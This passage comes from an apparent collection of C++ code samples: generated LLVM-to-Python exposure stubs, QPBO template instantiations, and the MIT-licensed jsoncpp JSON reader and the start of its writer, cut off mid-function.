lisp);\n{_DBG(\"exposing to python: llvmo__AllocaInst_O\");\n\tCall_exposePython_llvmo__AllocaInst_O(_lisp); // base(s): set(['llvmo::UnaryInstruction_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__BranchInst_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__BranchInst_O\");\n\tCall_exposePython_llvmo__BranchInst_O(_lisp); // base(s): set(['llvmo::TerminatorInst_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__ConstantDataArray_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__ConstantDataArray_O\");\n\tCall_exposePython_llvmo__ConstantDataArray_O(_lisp); // base(s): set(['llvmo::ConstantDataSequential_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__Function_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__Function_O\");\n\tCall_exposePython_llvmo__Function_O(_lisp); // base(s): set(['llvmo::GlobalValue_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__GlobalVariable_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__GlobalVariable_O\");\n\tCall_exposePython_llvmo__GlobalVariable_O(_lisp); // base(s): set(['llvmo::GlobalValue_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__IndirectBrInst_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__IndirectBrInst_O\");\n\tCall_exposePython_llvmo__IndirectBrInst_O(_lisp); // base(s): set(['llvmo::TerminatorInst_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__InvokeInst_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__InvokeInst_O\");\n\tCall_exposePython_llvmo__InvokeInst_O(_lisp); // base(s): set(['llvmo::TerminatorInst_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__LoadInst_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__LoadInst_O\");\n\tCall_exposePython_llvmo__LoadInst_O(_lisp); // base(s): set(['llvmo::UnaryInstruction_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__ResumeInst_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__ResumeInst_O\");\n\tCall_exposePython_llvmo__ResumeInst_O(_lisp); // base(s): set(['llvmo::TerminatorInst_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__ReturnInst_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__ReturnInst_O\");\n\tCall_exposePython_llvmo__ReturnInst_O(_lisp); // base(s): set(['llvmo::TerminatorInst_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__SwitchInst_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__SwitchInst_O\");\n\tCall_exposePython_llvmo__SwitchInst_O(_lisp); // base(s): set(['llvmo::TerminatorInst_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__UnreachableInst_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__UnreachableInst_O\");\n\tCall_exposePython_llvmo__UnreachableInst_O(_lisp); // base(s): set(['llvmo::TerminatorInst_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__VAArgInst_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__VAArgInst_O\");\n\tCall_exposePython_llvmo__VAArgInst_O(_lisp); // base(s): set(['llvmo::UnaryInstruction_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#endif // EXPOSE_TO_PYTHON\n#undef EXPOSE_TO_PYTHON\n#undef ALL_STAGES\n"
  },
  {
    "path": "samples/C++/instances.inc",
    "content": "#include \"QPBO.h\"\n\n#ifdef _MSC_VER\n#pragma warning(disable: 4661)\n#endif\n\n// Instantiations\n\ntemplate class QPBO<int>;\ntemplate class QPBO<float>;\ntemplate class QPBO<double>;\n\ntemplate <> \n\tinline void QPBO<int>::get_type_information(char*& type_name, char*& type_format)\n{\n\ttype_name = \"int\";\n\ttype_format = \"d\";\n}\n\ntemplate <> \n\tinline void QPBO<float>::get_type_information(char*& type_name, char*& type_format)\n{\n\ttype_name = \"float\";\n\ttype_format = \"f\";\n}\n\ntemplate <> \n\tinline void QPBO<double>::get_type_information(char*& type_name, char*& type_format)\n{\n\ttype_name = \"double\";\n\ttype_format = \"Lf\";\n}\n\n\n"
  },
  {
    "path": "samples/C++/json_reader.cpp",
    "content": "// Copyright 2007-2010 Baptiste Lepilleur\n// Distributed under MIT license, or public domain if desired and\n// recognized in your jurisdiction.\n// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE\n\n/*\nPermission is hereby granted, free of charge, to any person obtaining\na copy of this software and associated documentation files (the\n\"Software\"), to deal in the Software without restriction, including\nwithout limitation the rights to use, copy, modify, merge, publish,\ndistribute, sublicense, and/or sell copies of the Software, and to\npermit persons to whom the Software is furnished to do so, subject to\nthe following conditions:\n\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\nLIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\nOF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\nWITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n*/\n\n// Source - https://github.com/Ij888/ApacheCordovaRecipes/blob/6e8a2c1d9de7302f74bc3dbac54a021f0499bbb3/jqmsandbox/plugins/cordova-plugin-globalization/src/blackberry10/native/public/json_reader.cpp\n\n#include <json/reader.h>\n#include <json/value.h>\n#include <utility>\n#include <cstdio>\n#include <cassert>\n#include <cstring>\n#include <iostream>\n#include <stdexcept>\n\n#if _MSC_VER >= 1400 // VC++ 8.0\n#pragma warning( disable : 4996 )   // disable warning about strdup being deprecated.\n#endif\n\nnamespace Json {\n\n// QNX is strict about declaring C symbols in the std namespace.\n#ifdef __QNXNTO__\nusing std::memcpy;\nusing std::sprintf;\nusing std::sscanf;\n#endif\n\n// Implementation of class Features\n// ////////////////////////////////\n\nFeatures::Features()\n   : allowComments_( true )\n   , strictRoot_( false )\n{\n}\n\n\nFeatures \nFeatures::all()\n{\n   return Features();\n}\n\n\nFeatures \nFeatures::strictMode()\n{\n   Features features;\n   features.allowComments_ = false;\n   features.strictRoot_ = true;\n   return features;\n}\n\n// Implementation of class Reader\n// ////////////////////////////////\n\n\nstatic inline bool \nin( Reader::Char c, Reader::Char c1, Reader::Char c2, Reader::Char c3, Reader::Char c4 )\n{\n   return c == c1  ||  c == c2  ||  c == c3  ||  c == c4;\n}\n\nstatic inline bool \nin( Reader::Char c, Reader::Char c1, Reader::Char c2, Reader::Char c3, Reader::Char c4, Reader::Char c5 )\n{\n   return c == c1  ||  c == c2  ||  c == c3  ||  c == c4  ||  c == c5;\n}\n\n\nstatic bool \ncontainsNewLine( Reader::Location begin, \n                 Reader::Location end )\n{\n   for ( ;begin < end; ++begin )\n      if ( *begin == '\\n'  ||  *begin == '\\r' )\n         return true;\n   return false;\n}\n\nstatic std::string codePointToUTF8(unsigned int cp)\n{\n   std::string result;\n   \n   // based on description from http://en.wikipedia.org/wiki/UTF-8\n\n   if (cp <= 0x7f) \n   {\n      result.resize(1);\n      result[0] = static_cast<char>(cp);\n   } \n   else if (cp <= 0x7FF) \n   {\n      result.resize(2);\n      result[1] = static_cast<char>(0x80 | (0x3f & cp));\n      result[0] = static_cast<char>(0xC0 | (0x1f & (cp >> 6)));\n   } \n   else if (cp <= 0xFFFF) \n   {\n      result.resize(3);\n      result[2] = static_cast<char>(0x80 | (0x3f & cp));\n      result[1] = 0x80 | static_cast<char>((0x3f & (cp >> 6)));\n      result[0] = 0xE0 | static_cast<char>((0xf & (cp >> 12)));\n   }\n   else if (cp <= 0x10FFFF) \n   {\n      result.resize(4);\n      result[3] = static_cast<char>(0x80 | (0x3f & cp));\n      result[2] = static_cast<char>(0x80 | (0x3f & (cp >> 6)));\n      result[1] = static_cast<char>(0x80 | (0x3f & (cp >> 12)));\n      result[0] = static_cast<char>(0xF0 | (0x7 & (cp >> 18)));\n   }\n\n   return result;\n}\n\n\n// Class Reader\n// //////////////////////////////////////////////////////////////////\n\nReader::Reader()\n   : features_( Features::all() )\n{\n}\n\n\nReader::Reader( const Features &features )\n   : features_( features )\n{\n}\n\n\nbool\nReader::parse( const std::string &document, \n               Value &root,\n               bool collectComments )\n{\n   document_ = document;\n   const char *begin = document_.c_str();\n   const char *end = begin + document_.length();\n   return parse( begin, end, root, collectComments );\n}\n\n\nbool\nReader::parse( std::istream& sin,\n               Value &root,\n               bool collectComments )\n{\n   //std::istream_iterator<char> begin(sin);\n   //std::istream_iterator<char> end;\n   // Those would allow streamed input from a file, if parse() were a\n   // template function.\n\n   // Since std::string is reference-counted, this at least does not\n   // create an extra copy.\n   std::string doc;\n   std::getline(sin, doc, (char)EOF);\n   return parse( doc, root, collectComments );\n}\n\nbool \nReader::parse( const char *beginDoc, const char *endDoc, \n               Value &root,\n               bool collectComments )\n{\n   if ( !features_.allowComments_ )\n   {\n      collectComments = false;\n   }\n\n   begin_ = beginDoc;\n   end_ = endDoc;\n   collectComments_ = collectComments;\n   current_ = begin_;\n   lastValueEnd_ = 0;\n   lastValue_ = 0;\n   commentsBefore_ = \"\";\n   errors_.clear();\n   while ( !nodes_.empty() )\n      nodes_.pop();\n   nodes_.push( &root );\n   \n   bool successful = readValue();\n   Token token;\n   skipCommentTokens( token );\n   if ( collectComments_  &&  !commentsBefore_.empty() )\n      root.setComment( commentsBefore_, commentAfter );\n   if ( features_.strictRoot_ )\n   {\n      if ( !root.isArray()  &&  !root.isObject() )\n      {\n         // Set error location to start of doc, ideally should be first token found in doc\n         token.type_ = tokenError;\n         token.start_ = beginDoc;\n         token.end_ = endDoc;\n         addError( \"A valid JSON document must be either an array or an object value.\",\n                   token );\n         return false;\n      }\n   }\n   return successful;\n}\n\n\nbool\nReader::readValue()\n{\n   Token token;\n   skipCommentTokens( token );\n   bool successful = true;\n\n   if ( collectComments_  &&  !commentsBefore_.empty() )\n   {\n      currentValue().setComment( commentsBefore_, commentBefore );\n      commentsBefore_ = \"\";\n   }\n\n\n   switch ( token.type_ )\n   {\n   case tokenObjectBegin:\n      successful = readObject( token );\n      break;\n   case tokenArrayBegin:\n      successful = readArray( token );\n      break;\n   case tokenNumber:\n      successful = decodeNumber( token );\n      break;\n   case tokenString:\n      successful = decodeString( token );\n      break;\n   case tokenTrue:\n      currentValue() = true;\n      break;\n   case tokenFalse:\n      currentValue() = false;\n      break;\n   case tokenNull:\n      currentValue() = Value();\n      break;\n   default:\n      return addError( \"Syntax error: value, object or array expected.\", token );\n   }\n\n   if ( collectComments_ )\n   {\n      lastValueEnd_ = current_;\n      lastValue_ = &currentValue();\n   }\n\n   return successful;\n}\n\n\nvoid \nReader::skipCommentTokens( Token &token )\n{\n   if ( features_.allowComments_ )\n   {\n      do\n      {\n         readToken( token );\n      }\n      while ( token.type_ == tokenComment );\n   }\n   else\n   {\n      readToken( token );\n   }\n}\n\n\nbool \nReader::expectToken( TokenType type, Token &token, const char *message )\n{\n   readToken( token );\n   if ( token.type_ != type )\n      return addError( message, token );\n   return true;\n}\n\n\nbool \nReader::readToken( Token &token )\n{\n   skipSpaces();\n   token.start_ = current_;\n   Char c = getNextChar();\n   bool ok = true;\n   switch ( c )\n   {\n   case '{':\n      token.type_ = tokenObjectBegin;\n      break;\n   case '}':\n      token.type_ = tokenObjectEnd;\n      break;\n   case '[':\n      token.type_ = tokenArrayBegin;\n      break;\n   case ']':\n      token.type_ = tokenArrayEnd;\n      break;\n   case '\"':\n      token.type_ = tokenString;\n      ok = readString();\n      break;\n   case '/':\n      token.type_ = tokenComment;\n      ok = readComment();\n      break;\n   case '0':\n   case '1':\n   case '2':\n   case '3':\n   case '4':\n   case '5':\n   case '6':\n   case '7':\n   case '8':\n   case '9':\n   case '-':\n      token.type_ = tokenNumber;\n      readNumber();\n      break;\n   case 't':\n      token.type_ = tokenTrue;\n      ok = match( \"rue\", 3 );\n      break;\n   case 'f':\n      token.type_ = tokenFalse;\n      ok = match( \"alse\", 4 );\n      break;\n   case 'n':\n      token.type_ = tokenNull;\n      ok = match( \"ull\", 3 );\n      break;\n   case ',':\n      token.type_ = tokenArraySeparator;\n      break;\n   case ':':\n      token.type_ = tokenMemberSeparator;\n      break;\n   case 0:\n      token.type_ = tokenEndOfStream;\n      break;\n   default:\n      ok = false;\n      break;\n   }\n   if ( !ok )\n      token.type_ = tokenError;\n   token.end_ = current_;\n   return true;\n}\n\n\nvoid \nReader::skipSpaces()\n{\n   while ( current_ != end_ )\n   {\n      Char c = *current_;\n      if ( c == ' '  ||  c == '\\t'  ||  c == '\\r'  ||  c == '\\n' )\n         ++current_;\n      else\n         break;\n   }\n}\n\n\nbool \nReader::match( Location pattern, \n               int patternLength )\n{\n   if ( end_ - current_ < patternLength )\n      return false;\n   int index = patternLength;\n   while ( index-- )\n      if ( current_[index] != pattern[index] )\n         return false;\n   current_ += patternLength;\n   return true;\n}\n\n\nbool\nReader::readComment()\n{\n   Location commentBegin = current_ - 1;\n   Char c = getNextChar();\n   bool successful = false;\n   if ( c == '*' )\n      successful = readCStyleComment();\n   else if ( c == '/' )\n      successful = readCppStyleComment();\n   if ( !successful )\n      return false;\n\n   if ( collectComments_ )\n   {\n      CommentPlacement placement = commentBefore;\n      if ( lastValueEnd_  &&  !containsNewLine( lastValueEnd_, commentBegin ) )\n      {\n         if ( c != '*'  ||  !containsNewLine( commentBegin, current_ ) )\n            placement = commentAfterOnSameLine;\n      }\n\n      addComment( commentBegin, current_, placement );\n   }\n   return true;\n}\n\n\nvoid \nReader::addComment( Location begin, \n                    Location end, \n                    CommentPlacement placement )\n{\n   assert( collectComments_ );\n   if ( placement == commentAfterOnSameLine )\n   {\n      assert( lastValue_ != 0 );\n      lastValue_->setComment( std::string( begin, end ), placement );\n   }\n   else\n   {\n      if ( !commentsBefore_.empty() )\n         commentsBefore_ += \"\\n\";\n      commentsBefore_ += std::string( begin, end );\n   }\n}\n\n\nbool \nReader::readCStyleComment()\n{\n   while ( current_ != end_ )\n   {\n      Char c = getNextChar();\n      if ( c == '*'  &&  *current_ == '/' )\n         break;\n   }\n   return getNextChar() == '/';\n}\n\n\nbool \nReader::readCppStyleComment()\n{\n   while ( current_ != end_ )\n   {\n      Char c = getNextChar();\n      if (  c == '\\r'  ||  c == '\\n' )\n         break;\n   }\n   return true;\n}\n\n\nvoid \nReader::readNumber()\n{\n   while ( current_ != end_ )\n   {\n      if ( !(*current_ >= '0'  &&  *current_ <= '9')  &&\n           !in( *current_, '.', 'e', 'E', '+', '-' ) )\n         break;\n      ++current_;\n   }\n}\n\nbool\nReader::readString()\n{\n   Char c = 0;\n   while ( current_ != end_ )\n   {\n      c = getNextChar();\n      if ( c == '\\\\' )\n         getNextChar();\n      else if ( c == '\"' )\n         break;\n   }\n   return c == '\"';\n}\n\n\nbool \nReader::readObject( Token &tokenStart )\n{\n   Token tokenName;\n   std::string name;\n   currentValue() = Value( objectValue );\n   while ( readToken( tokenName ) )\n   {\n      bool initialTokenOk = true;\n      while ( tokenName.type_ == tokenComment  &&  initialTokenOk )\n         initialTokenOk = readToken( tokenName );\n      if  ( !initialTokenOk )\n         break;\n      if ( tokenName.type_ == tokenObjectEnd  &&  name.empty() )  // empty object\n         return true;\n      if ( tokenName.type_ != tokenString )\n         break;\n      \n      name = \"\";\n      if ( !decodeString( tokenName, name ) )\n         return recoverFromError( tokenObjectEnd );\n\n      Token colon;\n      if ( !readToken( colon ) ||  colon.type_ != tokenMemberSeparator )\n      {\n         return addErrorAndRecover( \"Missing ':' after object member name\", \n                                    colon, \n                                    tokenObjectEnd );\n      }\n      Value &value = currentValue()[ name ];\n      nodes_.push( &value );\n      bool ok = readValue();\n      nodes_.pop();\n      if ( !ok ) // error already set\n         return recoverFromError( tokenObjectEnd );\n\n      Token comma;\n      if ( !readToken( comma )\n            ||  ( comma.type_ != tokenObjectEnd  &&  \n                  comma.type_ != tokenArraySeparator &&\n\t\t  comma.type_ != tokenComment ) )\n      {\n         return addErrorAndRecover( \"Missing ',' or '}' in object declaration\", \n                                    comma, \n                                    tokenObjectEnd );\n      }\n      bool finalizeTokenOk = true;\n      while ( comma.type_ == tokenComment &&\n              finalizeTokenOk )\n         finalizeTokenOk = readToken( comma );\n      if ( comma.type_ == tokenObjectEnd )\n         return true;\n   }\n   return addErrorAndRecover( \"Missing '}' or object member name\", \n                              tokenName, \n                              tokenObjectEnd );\n}\n\n\nbool \nReader::readArray( Token &tokenStart )\n{\n   currentValue() = Value( arrayValue );\n   skipSpaces();\n   if ( *current_ == ']' ) // empty array\n   {\n      Token endArray;\n      readToken( endArray );\n      return true;\n   }\n   int index = 0;\n   while ( true )\n   {\n      Value &value = currentValue()[ index++ ];\n      nodes_.push( &value );\n      bool ok = readValue();\n      nodes_.pop();\n      if ( !ok ) // error already set\n         return recoverFromError( tokenArrayEnd );\n\n      Token token;\n      // Accept Comment after last item in the array.\n      ok = readToken( token );\n      while ( token.type_ == tokenComment  &&  ok )\n      {\n         ok = readToken( token );\n      }\n      bool badTokenType = ( token.type_ == tokenArraySeparator  &&  \n                            token.type_ == tokenArrayEnd );\n      if ( !ok  ||  badTokenType )\n      {\n         return addErrorAndRecover( \"Missing ',' or ']' in array declaration\", \n                                    token, \n                                    tokenArrayEnd );\n      }\n      if ( token.type_ == tokenArrayEnd )\n         break;\n   }\n   return true;\n}\n\n\nbool \nReader::decodeNumber( Token &token )\n{\n   bool isDouble = false;\n   for ( Location inspect = token.start_; inspect != token.end_; ++inspect )\n   {\n      isDouble = isDouble  \n                 ||  in( *inspect, '.', 'e', 'E', '+' )  \n                 ||  ( *inspect == '-'  &&  inspect != token.start_ );\n   }\n   if ( isDouble )\n      return decodeDouble( token );\n   Location current = token.start_;\n   bool isNegative = *current == '-';\n   if ( isNegative )\n      ++current;\n   Value::UInt threshold = (isNegative ? Value::UInt(-Value::minInt) \n                                       : Value::maxUInt) / 10;\n   Value::UInt value = 0;\n   while ( current < token.end_ )\n   {\n      Char c = *current++;\n      if ( c < '0'  ||  c > '9' )\n         return addError( \"'\" + std::string( token.start_, token.end_ ) + \"' is not a number.\", token );\n      if ( value >= threshold )\n         return decodeDouble( token );\n      value = value * 10 + Value::UInt(c - '0');\n   }\n   if ( isNegative )\n      currentValue() = -Value::Int( value );\n   else if ( value <= Value::UInt(Value::maxInt) )\n      currentValue() = Value::Int( value );\n   else\n      currentValue() = value;\n   return true;\n}\n\n\nbool \nReader::decodeDouble( Token &token )\n{\n   double value = 0;\n   const int bufferSize = 32;\n   int count;\n   int length = int(token.end_ - token.start_);\n   if ( length <= bufferSize )\n   {\n      Char buffer[bufferSize];\n      memcpy( buffer, token.start_, length );\n      buffer[length] = 0;\n      count = sscanf( buffer, \"%lf\", &value );\n   }\n   else\n   {\n      std::string buffer( token.start_, token.end_ );\n      count = sscanf( buffer.c_str(), \"%lf\", &value );\n   }\n\n   if ( count != 1 )\n      return addError( \"'\" + std::string( token.start_, token.end_ ) + \"' is not a number.\", token );\n   currentValue() = value;\n   return true;\n}\n\n\nbool \nReader::decodeString( Token &token )\n{\n   std::string decoded;\n   if ( !decodeString( token, decoded ) )\n      return false;\n   currentValue() = decoded;\n   return true;\n}\n\n\nbool \nReader::decodeString( Token &token, std::string &decoded )\n{\n   decoded.reserve( token.end_ - token.start_ - 2 );\n   Location current = token.start_ + 1; // skip '\"'\n   Location end = token.end_ - 1;      // do not include '\"'\n   while ( current != end )\n   {\n      Char c = *current++;\n      if ( c == '\"' )\n         break;\n      else if ( c == '\\\\' )\n      {\n         if ( current == end )\n            return addError( \"Empty escape sequence in string\", token, current );\n         Char escape = *current++;\n         switch ( escape )\n         {\n         case '\"': decoded += '\"'; break;\n         case '/': decoded += '/'; break;\n         case '\\\\': decoded += '\\\\'; break;\n         case 'b': decoded += '\\b'; break;\n         case 'f': decoded += '\\f'; break;\n         case 'n': decoded += '\\n'; break;\n         case 'r': decoded += '\\r'; break;\n         case 't': decoded += '\\t'; break;\n         case 'u':\n            {\n               unsigned int unicode;\n               if ( !decodeUnicodeCodePoint( token, current, end, unicode ) )\n                  return false;\n               decoded += codePointToUTF8(unicode);\n            }\n            break;\n         default:\n            return addError( \"Bad escape sequence in string\", token, current );\n         }\n      }\n      else\n      {\n         decoded += c;\n      }\n   }\n   return true;\n}\n\nbool\nReader::decodeUnicodeCodePoint( Token &token, \n                                     Location &current, \n                                     Location end, \n                                     unsigned int &unicode )\n{\n\n   if ( !decodeUnicodeEscapeSequence( token, current, end, unicode ) )\n      return false;\n   if (unicode >= 0xD800 && unicode <= 0xDBFF)\n   {\n      // surrogate pairs\n      if (end - current < 6)\n         return addError( \"additional six characters expected to parse unicode surrogate pair.\", token, current );\n      unsigned int surrogatePair;\n      if (*(current++) == '\\\\' && *(current++)== 'u')\n      {\n         if (decodeUnicodeEscapeSequence( token, current, end, surrogatePair ))\n         {\n            unicode = 0x10000 + ((unicode & 0x3FF) << 10) + (surrogatePair & 0x3FF);\n         } \n         else\n            return false;\n      } \n      else\n         return addError( \"expecting another \\\\u token to begin the second half of a unicode surrogate pair\", token, current );\n   }\n   return true;\n}\n\nbool \nReader::decodeUnicodeEscapeSequence( Token &token, \n                                     Location &current, \n                                     Location end, \n                                     unsigned int &unicode )\n{\n   if ( end - current < 4 )\n      return addError( \"Bad unicode escape sequence in string: four digits expected.\", token, current );\n   unicode = 0;\n   for ( int index =0; index < 4; ++index )\n   {\n      Char c = *current++;\n      unicode *= 16;\n      if ( c >= '0'  &&  c <= '9' )\n         unicode += c - '0';\n      else if ( c >= 'a'  &&  c <= 'f' )\n         unicode += c - 'a' + 10;\n      else if ( c >= 'A'  &&  c <= 'F' )\n         unicode += c - 'A' + 10;\n      else\n         return addError( \"Bad unicode escape sequence in string: hexadecimal digit expected.\", token, current );\n   }\n   return true;\n}\n\n\nbool \nReader::addError( const std::string &message, \n                  Token &token,\n                  Location extra )\n{\n   ErrorInfo info;\n   info.token_ = token;\n   info.message_ = message;\n   info.extra_ = extra;\n   errors_.push_back( info );\n   return false;\n}\n\n\nbool \nReader::recoverFromError( TokenType skipUntilToken )\n{\n   int errorCount = int(errors_.size());\n   Token skip;\n   while ( true )\n   {\n      if ( !readToken(skip) )\n         errors_.resize( errorCount ); // discard errors caused by recovery\n      if ( skip.type_ == skipUntilToken  ||  skip.type_ == tokenEndOfStream )\n         break;\n   }\n   errors_.resize( errorCount );\n   return false;\n}\n\n\nbool \nReader::addErrorAndRecover( const std::string &message, \n                            Token &token,\n                            TokenType skipUntilToken )\n{\n   addError( message, token );\n   return recoverFromError( skipUntilToken );\n}\n\n\nValue &\nReader::currentValue()\n{\n   return *(nodes_.top());\n}\n\n\nReader::Char \nReader::getNextChar()\n{\n   if ( current_ == end_ )\n      return 0;\n   return *current_++;\n}\n\n\nvoid \nReader::getLocationLineAndColumn( Location location,\n                                  int &line,\n                                  int &column ) const\n{\n   Location current = begin_;\n   Location lastLineStart = current;\n   line = 0;\n   while ( current < location  &&  current != end_ )\n   {\n      Char c = *current++;\n      if ( c == '\\r' )\n      {\n         if ( *current == '\\n' )\n            ++current;\n         lastLineStart = current;\n         ++line;\n      }\n      else if ( c == '\\n' )\n      {\n         lastLineStart = current;\n         ++line;\n      }\n   }\n   // column & line start at 1\n   column = int(location - lastLineStart) + 1;\n   ++line;\n}\n\n\nstd::string\nReader::getLocationLineAndColumn( Location location ) const\n{\n   int line, column;\n   getLocationLineAndColumn( location, line, column );\n   char buffer[18+16+16+1];\n   sprintf( buffer, \"Line %d, Column %d\", line, column );\n   return buffer;\n}\n\n\nstd::string \nReader::getFormatedErrorMessages() const\n{\n   std::string formattedMessage;\n   for ( Errors::const_iterator itError = errors_.begin();\n         itError != errors_.end();\n         ++itError )\n   {\n      const ErrorInfo &error = *itError;\n      formattedMessage += \"* \" + getLocationLineAndColumn( error.token_.start_ ) + \"\\n\";\n      formattedMessage += \"  \" + error.message_ + \"\\n\";\n      if ( error.extra_ )\n         formattedMessage += \"See \" + getLocationLineAndColumn( error.extra_ ) + \" for detail.\\n\";\n   }\n   return formattedMessage;\n}\n\n\nstd::istream& operator>>( std::istream &sin, Value &root )\n{\n    Json::Reader reader;\n    bool ok = reader.parse(sin, root, true);\n    //JSON_ASSERT( ok );\n    if (!ok) throw std::runtime_error(reader.getFormatedErrorMessages());\n    return sin;\n}\n\n\n} // namespace Json\n"
  },
  {
    "path": "samples/C++/json_writer.cpp",
    "content": "// Copyright 2007-2010 Baptiste Lepilleur\n// Distributed under MIT license, or public domain if desired and\n// recognized in your jurisdiction.\n// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE\n\n/*\nPermission is hereby granted, free of charge, to any person obtaining\na copy of this software and associated documentation files (the\n\"Software\"), to deal in the Software without restriction, including\nwithout limitation the rights to use, copy, modify, merge, publish,\ndistribute, sublicense, and/or sell copies of the Software, and to\npermit persons to whom the Software is furnished to do so, subject to\nthe following conditions:\n\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\nLIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\nOF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\nWITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n*/\n\n// Source - https://github.com/Ij888/ApacheCordovaRecipes/blob/6e8a2c1d9de7302f74bc3dbac54a021f0499bbb3/jqmsandbox/plugins/cordova-plugin-globalization/src/blackberry10/native/public/json_writer.cpp\n\n#include <json/writer.h>\n#include <utility>\n#include <assert.h>\n#include <stdio.h>\n#include <string.h>\n#include <iostream>\n#include <sstream>\n#include <iomanip>\n\n#if _MSC_VER >= 1400 // VC++ 8.0\n#pragma warning( disable : 4996 )   // disable warning about strdup being deprecated.\n#endif\n\nnamespace Json {\n\nstatic bool isControlCharacter(char ch)\n{\n   return ch > 0 && ch <= 0x1F;\n}\n\nstatic bool containsControlCharacter( const char* str )\n{\n   while ( *str ) \n   {\n      if ( isControlCharacter( *(str++) ) )\n         return true;\n   }\n   return false;\n}\nstatic void uintToString( unsigned int value, \n                          char *&current )\n{\n   *--current = 0;\n   do\n   {\n      *--current = (value % 10) + '0';\n      value /= 10;\n   }\n   while ( value != 0 );\n}\n\nstd::string valueToString( Int value )\n{\n   char buffer[32];\n   char *current = buffer + sizeof(buffer);\n   bool isNegative = value < 0;\n   if ( isNegative )\n      value = -value;\n   uintToString( UInt(value), current );\n   if ( isNegative )\n      *--current = '-';\n   assert( current >= buffer );\n   return current;\n}\n\n\nstd::string valueToString( UInt value )\n{\n   char buffer[32];\n   char *current = buffer + sizeof(buffer);\n   uintToString( value, current );\n   assert( current >= buffer );\n   return current;\n}\n\nstd::string valueToString( double value )\n{\n   char buffer[32];\n#if defined(_MSC_VER) && defined(__STDC_SECURE_LIB__) // Use secure version with visual studio 2005 to avoid warning. \n   sprintf_s(buffer, sizeof(buffer), \"%#.16g\", value); \n#else\t\n   sprintf(buffer, \"%#.16g\", value); \n#endif\n   char* ch = buffer + strlen(buffer) - 1;\n   if (*ch != '0') return buffer; // nothing to truncate, so save time\n   while(ch > buffer && *ch == '0'){\n     --ch;\n   }\n   char* last_nonzero = ch;\n   while(ch >= buffer){\n     switch(*ch){\n     case '0':\n     case '1':\n     case '2':\n     case '3':\n     case '4':\n     case '5':\n     case '6':\n     case '7':\n     case '8':\n     case '9':\n       --ch;\n       continue;\n     case '.':\n       // Truncate zeroes to save bytes in output, but keep one.\n       *(last_nonzero+2) = '\\0';\n       return buffer;\n     default:\n       return buffer;\n     }\n   }\n   return buffer;\n}\n\n\nstd::string valueToString( bool value )\n{\n   return value ? \"true\" : \"false\";\n}\n\nstd::string valueToQuotedString( const char *value )\n{\n   // Not sure how to handle unicode...\n   if (strpbrk(value, \"\\\"\\\\\\b\\f\\n\\r\\t\") == NULL && !containsControlCharacter( value ))\n      return std::string(\"\\\"\") + value + \"\\\"\";\n   // We have to walk value and escape any special characters.\n   // Appending to std::string is not efficient, but this should be rare.\n   // (Note: forward slashes are *not* rare, but I am not escaping them.)\n   unsigned 